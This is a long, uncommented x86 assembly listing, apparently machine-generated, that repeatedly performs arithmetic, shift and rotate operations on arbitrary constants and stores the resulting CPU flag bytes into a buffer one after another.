mov ecx, 0x9ca2d863
ror eax, cl
mov ebx, 0x4e201084
mov eax, 0x33d9e4e3
sub ebx, eax
mov eax, 0xf9aa4cdb
aas
mov ecx, 0xeb6f26ef
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf926bdac
mov ecx, 0xd481fae1
ror ebx, cl
mov ebx, 0x6037c521
mov ecx, 0xe9a47c10
add ebx, ecx
mov eax, 0xa8a3f439
inc eax
mov ebx, 0x9dcc2658
mov ecx, 0x2bff26b4
ror ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xda641d1a
mov ecx, 0x9bf7e8cd
rol ebx, cl
mov edx, 0xb0fbe7a9
cmp edx, 0x518f44f
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x48db789b
mov ebx, 0xef789eb2
add edx, ebx
mov eax, 0xf85397a7
aaa
mov eax, 0x259a54a7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2ac6fe5e
cmp edx, 0xba875a44
mov eax, 0x7823cea8
aas
mov ebx, 0xf4c5c9c
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd176a86c
aaa
mov edx, 0x3e749c87
mov ecx, 0xc647ddfb
ror edx, cl
mov ebx, 0x41418b70
mov ecx, 0x1028a1a1
shl ebx, cl
mov ebx, 0xba7316f
inc ebx
mov edx, 0x32f93c9b
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x2e84251f
sal ebx, 1
mov edx, 0x36ee3bb2
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x9c76580d
mov ebx, 0xc2779cbb
sub eax, ebx
mov eax, 0x6550bef0
aas
mov edx, 0xc44e7e07
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8281179f
rol eax, 1
mov ebx, 0xe3036b7a
rol ebx, 1
mov eax, 0x619835d3
mov ecx, 0xaf7b1a4b
sar eax, cl
mov eax, 0xa6727d4f
rol eax, 1
mov ebx, 0x6e85e7c6
neg ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xaa9483eb
inc eax
mov ebx, 0x188a16cb
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xc69b2abd
mov ecx, 0x4aaaaeaa
ror edx, cl
mov eax, 0xac611d9c
aaa
mov ebx, 0x33e009b5
mov ecx, 0xbde3e473
ror ebx, cl
mov eax, 0x9ef8ce09
mov ecx, 0x65b8c69
ror eax, cl
mov ecx, 0xe5d374bf
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3c4b0734
rol edx, 1
mov ecx, 0x39cd85d6
mov edx, 0x42820361
cmp ecx, edx
mov ebx, 0xc5db02f0
mov ecx, 0xbeeac058
rol ebx, cl
mov edx, 0xfb8dfac0
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe54eb1d
sal eax, 1
mov ecx, 0x53b53db3
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb48482ca
mov eax, 0x446d9567
cmp ebx, eax
mov eax, 0xad7b8e65
sal eax, 1
mov ebx, 0x23d6355d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x94f632b
inc ebx
mov eax, 0x361f409
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4536315b
rol ebx, 1
mov ecx, 0x3f09d314
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x1d0f8d32
mov ecx, 0x219cabcb
add ebx, ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x67ff6d5a
cmp edx, 0x29cc4968
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4d0b217
rol eax, 1
mov ebx, 0x4eefd263
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x36ec148a
sar edx, 0xf5
mov edx, 0xbc166c08
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xdaab63a7
inc edx
mov ebx, 0x46d9a7ad
mov ecx, 0xcd2024ae
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf811fb7f
rol ebx, 1
mov eax, 0x2c131081
cmp eax, 0xbe504c1f
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7683f0d
rol edx, 1
mov ebx, 0x5b80c407
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xac7be6fc
mov ecx, 0x9c0a0f5f
ror edx, cl
mov ecx, 0x1bba441f
inc ecx
mov edx, 0x39865d93
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x733f170f
mov ecx, 0xf35e1ee1
rol ebx, cl
mov edx, 0x1036b563
mov ecx, 0x9dd16774
rol edx, cl
mov ebx, 0x3609f50c
inc ebx
mov edx, 0xcc7d66ef
mov ecx, 0x12d4b61f
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe359011
mov ecx, 0xe86c0589
ror eax, cl
mov eax, 0x6ce96c29
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x582e6140
mov ecx, 0xbfcfe4d7
add ebx, ecx
mov ecx, 0xf6023630
neg ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x12ac63fc
inc eax
mov eax, 0x97b0e8b0
mov ecx, 0xef32392
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x696b02be
rol ebx, 1
mov eax, 0x23f3c34
add eax, 0x570c368e
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x74c2504d
dec edx
mov edx, 0x74417663
mov ecx, 0x2f286e65
rol edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xbb4039c4
rol ebx, 1
mov eax, 0xb25804d6
mov ecx, 0xcb3bac7a
ror eax, cl
mov edx, 0x8ae78774
add edx, 0xb694449b
mov eax, 0xa80083c7
aas
mov ecx, 0x442c92ff
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x93defc80
add eax, 0xc9bf6b80
mov eax, 0x42db2a82
aas
mov eax, 0x40b68325
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xb08e2f67
rol eax, 1
mov edx, 0x175473b4
mov ecx, 0xb6fd81c1
cmp edx, ecx
mov eax, 0x593ec867
aaa
mov ecx, 0xfceca72a
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x32237d9c
mov ecx, 0x3320bcda
add ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3e052b88
mov ebx, 0x1e5a48c6
add edx, ebx
mov edx, 0xcbd13980
mov ecx, 0xeaf87f69
ror edx, cl
mov ebx, 0x61d3e045
mov ecx, 0xefc2041e
rol ebx, cl
mov ebx, 0xcc71db00
dec ebx
mov edx, 0x16657dac
mov ecx, 0x335c9ee8
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x37c7f7e9
inc ecx
mov eax, 0x58bff98f
mov ecx, 0xfedebc83
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa0b7e4c9
mov ecx, 0xbb69ccb
rol ebx, cl
mov edx, 0x5a905700
inc edx
mov ebx, 0xeba8f15c
mov ecx, 0xd7cbfedb
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7cf95cf1
mov ecx, 0x87c02367
rol eax, cl
mov edx, 0x419b0123
sal edx, 1
mov ecx, 0x5efeadaf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc22d6eb1
rol ebx, 1
mov ebx, 0x2241f04f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd879d744
add ebx, 0x39bec8db
mov eax, 0xc93b4ca2
aaa
mov edx, 0x1db13d04
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5a701607
rol ebx, 1
mov eax, 0x237ab742
mov ecx, 0xa3a50f4a
ror eax, cl
mov edx, 0xc0158fe4
mov ecx, 0xb5cc1337
rol edx, cl
mov ecx, 0x43f6c167
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x773221b5
shl edx, 1
mov eax, 0xcd90ffeb
mov ecx, 0xf053d742
ror eax, cl
mov eax, 0x13e40d85
mov ecx, 0x204d9411
add eax, ecx
mov eax, 0x620d3186
sal eax, 1
mov ecx, 0x1b8d0f
mov ebx, 0x75b8914d
add ecx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xfbcf0702
sub ecx, 0x795c3618
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb0d5c5d9
sal ebx, 1
mov eax, 0xabfae329
neg eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x8af373f9
sar eax, 0x13
mov ebx, 0xadc5308
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x16e3b31b
cmp ebx, 0x18e0da14
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7360f3e
mov ecx, 0x10d15a95
sar ebx, cl
mov eax, 0xa9e611f4
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x46795a28
mov ecx, 0x8740f27d
rol ebx, cl
mov edx, 0x1a3478ef
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xb6d07095
mov ecx, 0xb69352a9
sar edx, cl
mov eax, 0xad7803ff
sub eax, 0x9c513d87
mov edx, 0x93dde321
mov eax, 0x7b526a47
cmp edx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x2e4d20d4
mov edx, 0x5d02fd01
sub ebx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1181dc4f
mov ecx, 0xf96810f3
ror ebx, cl
mov edx, 0xfa0347d5
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3e0a9989
mov ecx, 0x4e75acca
ror edx, cl
mov eax, 0x69f3b1b9
shl eax, 0x7b
mov eax, 0xd71f34fb
mov ecx, 0xfabe59b3
ror eax, cl
mov eax, 0xf75dd15f
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xb02af48a
mov ecx, 0xb515213f
ror ebx, cl
mov edx, 0x60f7acac
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x77efa608
mov ecx, 0x5cce219e
rol eax, cl
mov eax, 0x37a6c535
mov ecx, 0xfd012f81
rol eax, cl
mov ebx, 0xa5fbd414
shl ebx, 1
mov ebx, 0x1e26adc
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xbf5c5af8
dec ebx
mov ebx, 0x81060e29
mov ecx, 0xfe17d9e
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x60a2ecd7
rol eax, 1
mov ebx, 0x5949528f
inc ebx
mov ebx, 0xc38baca0
mov ecx, 0x655a34d8
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x239c237
mov ecx, 0xda00b466
rol ebx, cl
mov eax, 0xaa83bb7
mov edx, 0xe9c1181e
add eax, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4eec892d
rol edx, 1
mov eax, 0x826b895
mov ecx, 0xbf81d534
ror eax, cl
mov ebx, 0xd578bcf
inc ebx
mov eax, 0x27f308cd
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x19706492
mov ebx, 0x24e97295
add ecx, ebx
mov eax, 0x322ba7f7
aas
mov eax, 0x3446f0a1
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x15eff38f
inc ecx
mov ebx, 0x220bb461
mov ecx, 0x2dda24fd
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xf426afd
shl edx, 2
mov ecx, 0x91ab573f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x968189c1
shl edx, 1
mov ebx, 0xf0a34a0
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x85ae4e1f
cmp eax, 0x1f4f70bb
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x2055a7fe
mov ecx, 0xda6a8bcb
sub eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x58177c08
mov ecx, 0xb404532e
sub eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x42c91476
cmp eax, 0xddce6f29
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xd8a6a68f
rol edx, 1
mov edx, 0xb0a826a8
mov ecx, 0x90cbf097
sar edx, cl
mov ecx, 0x72fa1dc0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6752aee6
mov ecx, 0xafdd6478
rol ebx, cl
mov ecx, 0x3e494bde
mov ebx, 0xf34eba10
cmp ecx, ebx
mov eax, 0x808bc630
aas
mov edx, 0xa27b2ca6
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x19ddbd0
neg eax
mov eax, 0x1a999fb0
aaa
mov eax, 0x83d17711
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xdc09329f
rol eax, 1
mov edx, 0x9a281100
mov ecx, 0x304bd61f
rol edx, cl
mov edx, 0x8640f102
rol edx, 1
mov edx, 0x63a64b1b
mov ecx, 0x590119b5
sal edx, cl
mov ebx, 0x56de244f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x4f8d76df
sub eax, 0x542fb60
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcfcb13fd
mov ebx, 0x83a81a63
add eax, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x77ec99e0
mov ebx, 0x27b595a5
sub ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x90eee63d
mov ecx, 0x4e6956ca
sal ebx, cl
mov eax, 0xfb877664
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe8e49af9
mov ecx, 0xd477ce9d
sar edx, cl
mov ecx, 0x248380d2
add ecx, 0xa60060eb
mov ebx, 0xc5698a3b
mov edx, 0x3bee69cf
sub ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8b08920
mov ecx, 0xa3f36544
ror ebx, cl
mov eax, 0x9e6bab8e
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x273f24fe
rol edx, 1
mov ebx, 0x2b6a1d4b
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x6cb18f44
sub ecx, 0x6596db26
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa15d27be
add eax, 0x3ad26c43
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4dc4f8a0
dec ebx
mov edx, 0x73cfd899
mov ecx, 0x5c2e70e8
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xdc7bf7a
aaa
mov edx, 0x98cacb2
shl edx, 0xa4
mov edx, 0x3278023c
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4753e90f
dec edx
mov edx, 0xb09ac548
mov ecx, 0xb145578c
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc3fd783c
mov ecx, 0x38540c2f
rol eax, cl
mov edx, 0x3fbb6c02
mov ecx, 0x744a91fe
rol edx, cl
mov ebx, 0x4588435b
mov eax, 0x3b21cc3c
add ebx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x39ffd168
rol edx, 1
mov ebx, 0x497181cd
sub ebx, 0xe3564f2e
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x32f428f0
dec eax
mov ebx, 0x97de1ac1
mov ecx, 0x5b1964af
ror ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x545163a8
rol edx, 1
mov edx, 0xa6230053
dec edx
mov ebx, 0x54c4556
mov ecx, 0x817fca30
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc86f2bb2
mov ecx, 0x9f4e6235
sar ebx, cl
mov edx, 0xe2b2f058
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6830363e
mov ecx, 0xd173976a
ror ebx, cl
mov ebx, 0x3ec7362
mov ecx, 0xd69fb948
ror ebx, cl
mov edx, 0xfa97fab8
mov ecx, 0x21162e9a
ror edx, cl
mov ebx, 0xba5ffc85
mov ecx, 0x62fe5ff6
rol ebx, cl
mov ebx, 0x5d12e8b0
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x4b2f708c
mov ecx, 0x750e33cc
sar edx, cl
mov eax, 0x17e6f386
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8146c1ef
sal eax, 1
mov edx, 0x96c4e652
mov ecx, 0xdd7d717
ror edx, cl
mov eax, 0x8433946
mov ecx, 0x69f22119
rol eax, cl
mov edx, 0x6c16ae9d
add edx, 0xe9977ef9
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeb255de1
sub ebx, 0x94fa1274
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa027dd69
dec ebx
mov ebx, 0x17c3f3c6
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x82e724b
mov ebx, 0xafcf8804
cmp edx, ebx
mov eax, 0xb3485e69
aas
mov edx, 0xc9c79190
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd8de4b1f
mov ecx, 0x19f88a
rol ebx, cl
mov edx, 0x7e78ff94
rol edx, 1
mov edx, 0xa4904f04
mov ecx, 0xc353386c
ror edx, cl
mov ebx, 0x98d8a970
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9d099d5f
sub eax, 0xcb0ee184
mov eax, 0x8a1a7746
aas
mov eax, 0x5f284752
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xeb403d27
rol eax, 1
mov ecx, 0xa5358d97
neg ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x73e8998f
aas
mov edx, 0x753dda5a
mov ecx, 0xe6949adb
ror edx, cl
mov ebx, 0x348a2363
mov ecx, 0xef54790
rol ebx, cl
mov eax, 0x1cc4c910
rol eax, 1
mov eax, 0xb32e1101
rol eax, 1
mov eax, 0xcce11353
mov ecx, 0x648c633
rol eax, cl
mov eax, 0x46431490
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xab315830
rol eax, 1
mov ebx, 0xb925cdd9
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xffb4969d
mov ecx, 0xc487939b
ror edx, cl
mov eax, 0xdd688751
mov ebx, 0x258135c1
sub eax, ebx
mov eax, 0x6e033c97
aaa
mov eax, 0xa5ac0593
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xfe443bf2
mov ecx, 0x6357a9e2
sal ebx, cl
mov edx, 0x9179f6c8
rol edx, 1
mov edx, 0xa82be730
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x9cd2630d
mov ecx, 0x4b5d1f8d
rol ebx, cl
mov ecx, 0xa1919d60
neg ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xb6fc7c0f
dec ecx
mov eax, 0x46e8711f
mov ecx, 0x980b418d
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xa478a548
shl edx, 1
mov ebx, 0x878d75b3
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xe18fa681
mov ecx, 0xcc1c3ba0
add ebx, ecx
mov eax, 0x27c6e2f3
aas
mov eax, 0x1620834d
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4c779951
mov ecx, 0xe76febb
ror eax, cl
mov edx, 0x3913c684
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1266762
dec eax
mov edx, 0x9b2ad5d
mov ecx, 0xdfbd47b4
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc144cb29
mov ecx, 0x52575a7e
rol edx, cl
mov ebx, 0x213634df
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x210e516d
mov ecx, 0x8b0930fb
ror eax, cl
mov eax, 0x43e63710
rol eax, 1
mov eax, 0x5140c3ac
inc eax
mov ebx, 0x416cb8a5
mov ecx, 0x9a1f37c4
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3e8cba6c
sal ebx, 0xc2
mov ebx, 0xe8dc73c
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x219f3987
mov edx, 0xf2ec0ac1
add eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd76da6e7
mov ecx, 0xb384ac75
rol eax, cl
mov ecx, 0xd976586f
inc ecx
mov eax, 0x1702ff78
mov ecx, 0x904d8069
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x836852c9
dec edx
mov edx, 0x6bac789a
mov ecx, 0x55f0987
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcee6c710
dec edx
mov edx, 0xf372128a
mov ecx, 0x587dc425
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa46c2ff9
aas
mov eax, 0x24b13e51
rol eax, 1
mov eax, 0x9c21bb83
mov ecx, 0xb8461321
add eax, ecx
mov eax, 0x1624e820
dec eax
mov edx, 0x7daf8fef
mov ecx, 0xe18e23ca
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf71334b8
cmp eax, 0x2d50b9bb
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xbf12e5a0
neg ecx
mov eax, 0x779959c6
aaa
mov ecx, 0x130cc5e0
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x10c29613
mov ecx, 0x590d2a91
ror edx, cl
mov edx, 0x770e0385
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x51d41c86
mov ecx, 0x8b27c4c7
rol ebx, cl
mov eax, 0x41355600
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x1bdfcd73
add eax, 0x2cb9fb
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x2edbc0f4
cmp ecx, 0xdd7866a0
mov eax, 0x592435c2
aas
mov ebx, 0x4e427afa
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd1959202
mov ecx, 0x1d4c28a5
sal eax, cl
mov edx, 0x74147063
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x31ac4d51
mov ecx, 0x235fd365
rol eax, cl
mov edx, 0xe0d601c9
mov ecx, 0xccf17127
rol edx, cl
mov edx, 0x86b0b4cb
mov ecx, 0x59f31a97
ror edx, cl
mov edx, 0x89cfc76d
sal edx, 0xc7
mov ecx, 0xf3eb18e2
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x579218d8
mov ecx, 0x391d66b7
ror ebx, cl
mov ebx, 0x6ed56685
shl ebx, 1
mov ecx, 0xfd53f740
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x155a8226
sal eax, 0x21
mov edx, 0xaed14eda
mov ecx, 0x79f87a41
sar edx, cl
mov edx, 0x5034461c
mov ecx, 0x707f0d7
ror edx, cl
mov ebx, 0xace24ef5
rol ebx, 1
mov ebx, 0xf8487e86
mov ecx, 0xb2eb29a9
ror ebx, cl
mov ebx, 0x1d66f0
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xca8ca667
mov ecx, 0x13bf7185
ror eax, cl
mov ebx, 0xb2b65738
mov ecx, 0x3a51cb69
rol ebx, cl
mov ebx, 0xc9907368
mov ecx, 0x5c533ee6
rol ebx, cl
mov eax, 0x1e45f9e3
aas
mov edx, 0xc2ab2f41
sal edx, 1
mov edx, 0xe39d9a3a
sal edx, 1
mov ebx, 0x922d3a7
mov ecx, 0x76ed0852
rol ebx, cl
mov ebx, 0xd3346560
dec ebx
mov eax, 0x962a94e8
mov ecx, 0x7315ce6d
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xefcd1499
rol edx, 1
mov ecx, 0xfda6c1a8
add ecx, 0xc3e746a0
mov eax, 0x3d005a59
aaa
mov edx, 0x292c8995
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x58ad324f
mov ecx, 0x71c49731
rol ebx, cl
mov ebx, 0x602eef50
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4706e3f8
dec edx
mov ebx, 0x33636093
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x7cea6fb5
rol ebx, 1
mov ebx, 0x3c90ac70
rol ebx, 1
mov eax, 0x5c540733
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x49b52567
sal edx, 1
mov eax, 0x5097c42e
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xeaee33f8
mov ecx, 0xd0690752
rol eax, cl
mov ebx, 0x8008f59a
rol ebx, 1
mov edx, 0x318bb983
mov ecx, 0xcb5aa327
sal edx, cl
mov ebx, 0x5b67a0f1
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x505ffbc4
mov ecx, 0x90feed59
rol eax, cl
mov ebx, 0x937b2687
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf6f3a43e
rol ebx, 1
mov edx, 0xfcc233e0
neg edx
mov eax, 0x230e2e46
aas
mov eax, 0xe14bb40a
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf41f63f0
dec ebx
mov eax, 0xb33b8d3a
rol eax, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x4eb392be
rol eax, 1
mov ebx, 0x4f21422c
inc ebx
mov ebx, 0x4aa36178
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x9df7d62a
mov ecx, 0xb4641050
sub ebx, ecx
mov eax, 0x908c42ed
mov ecx, 0x63d53979
cmp eax, ecx
mov ecx, 0x3c875c21
mov ebx, 0x17b47202
sub ecx, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xba4d1f02
sal edx, 1
mov eax, 0x708bfd24
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa6b276a7
mov ecx, 0xd0bda543
ror eax, cl
mov edx, 0xbdac1bce
mov ecx, 0x5f5fb671
rol edx, cl
mov ecx, 0xcd6d47b
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe9dc36d2
sal edx, 1
mov edx, 0x106b7e4d
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x37177ffe
dec eax
mov ebx, 0x2f70cf33
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x74d258bb
sal eax, 1
mov eax, 0xf1487a02
shl eax, 0x25
mov edx, 0x86d10e0
dec edx
mov eax, 0xbe69a201
mov ecx, 0x28f0b8d3
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb9231895
sar edx, 0xc7
mov eax, 0x299b84e7
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x74023fc5
dec ebx
mov ebx, 0xa07c3b51
mov ecx, 0xcb6f9399
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x66fed0fd
dec edx
mov eax, 0xf50afb44
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x6cc3ff22
mov ecx, 0x907221ce
rol edx, cl
mov eax, 0x2617b681
add eax, 0x6a045b62
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7a07377
mov ecx, 0x2f59f3c1
cmp eax, ecx
mov eax, 0x4bf6d5da
aas
mov ebx, 0x468d20f0
dec ebx
mov eax, 0xbe89f6a7
mov ecx, 0x9590578e
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb5c1fafb
mov ecx, 0x86a8d817
ror ebx, cl
mov eax, 0xbf2518c0
neg eax
mov ebx, 0xf31ad57a
mov ecx, 0x6dc5ecec
ror ebx, cl
mov eax, 0x1c4061c2
mov ecx, 0x8bc3a83b
sal eax, cl
mov eax, 0xbaa0a4b0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7d64405e
inc eax
mov edx, 0xbd0e538
mov ecx, 0x3f93c7bc
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe0b46aa
mov ecx, 0x49da5866
ror eax, cl
mov edx, 0x33830fc4
rol edx, 1
mov eax, 0x4856e82b
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xaea9dbc7
mov ecx, 0xb23055b5
rol ebx, cl
mov eax, 0x6debc7ef
mov ecx, 0xbd3a90a7
ror eax, cl
mov ecx, 0xb992d1a4
inc ecx
mov ebx, 0x6278681d
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x3753d905
rol edx, 1
mov ecx, 0x6854b85f
inc ecx
mov ebx, 0x223e6790
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x7fa176a8
cmp ecx, 0x95c67427
mov eax, 0x4852c6f7
aas
mov eax, 0x142018ae
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x8faa97c7
aas
mov ebx, 0x6a02afbe
rol ebx, 1
mov eax, 0x375a74bb
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
